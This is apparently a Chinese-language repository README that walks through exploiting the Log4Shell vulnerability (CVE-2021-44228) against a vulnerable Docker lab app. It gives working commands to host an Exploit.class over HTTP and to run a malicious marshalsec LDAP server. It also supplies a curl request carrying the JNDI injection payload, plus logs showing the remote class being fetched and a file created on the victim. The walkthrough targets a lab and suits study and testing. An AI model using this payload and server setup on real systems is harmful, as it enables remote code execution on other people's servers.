本仓库旨在提供利用 CVE-2021-44228(绰号 Log4Shell)所需的全部组件,并演示如何利用该漏洞。
利用此漏洞所需的要素如下:
致谢:
先决条件:
LDAP Server 和 HTTP ServerHTTP Server1. 进入 exploit 文件夹,并使用 Python 启动 http 服务器。
python3 -m http.server PORT
LDAP Server1. 进入 ldap_server 文件夹并构建 pom.xml
mvn clean package -DskipTests
2. 进入 target 文件夹并启动服务器,指定 http_server_ip 和 http_server_port
java -cp ldap_server-1.0-all.jar marshalsec.jndi.LDAPRefServer "http://http_server_ip:http_server_port/#Exploit"
注意:此命令运行恶意的 ldap 服务器,强制其对每个 ldap 查询都响应 Exploit.class URI。
Vulnerable application运行存在漏洞的应用程序 docker 容器
docker run --name vulnerable-app -p 8080:8080 ghcr.io/christophetd/log4shell-vulnerable-app
注意:默认情况下,我们在 8080 端口上运行存在漏洞的应用程序,请随意更改。
一旦 vulnerable_application、ldap_server 和 http_server 都运行起来,就向存在漏洞的服务器发送一个恶意的 http 请求。
curl VULNERABLE_APPLICATION_IP:8080 -H 'X-Api-Version: ${jndi:ldap://ldap_server_ip:1389/a}'
vulnerable_application 将记录该 payload,并执行一个 ldap 查询
2021-12-24 18:48:14.644 INFO 1 --- [nio-8080-exec-1] HelloWorld: Received a request for API version ${jndi:ldap://10.0.2.15:1389/a}
ldap_server 将响应 Exploit.class URI
Listening on 0.0.0.0:1389
Send LDAP reference result for a redirecting to http://10.0.2.15:8443/Exploit.class
http_server 将收到一个对 Exploit.class 的请求
Serving HTTP on 0.0.0.0 port 8443 (http://0.0.0.0:8443/) ...
172.17.0.2 - - [24/Dec/2021 19:48:14] "GET /Exploit.class HTTP/1.1" 200 -
最后,我们可以检查到该 exploit 在受害者的文件系统上创建了一个新文件。在本示例中,我们需要检查 docker 容器的文件系统。

https://www.lunasec.io/docs/blog/log4j-zero-day/
https://github.com/mbechler/marshalsec
https://github.com/christophetd/log4shell-vulnerable-app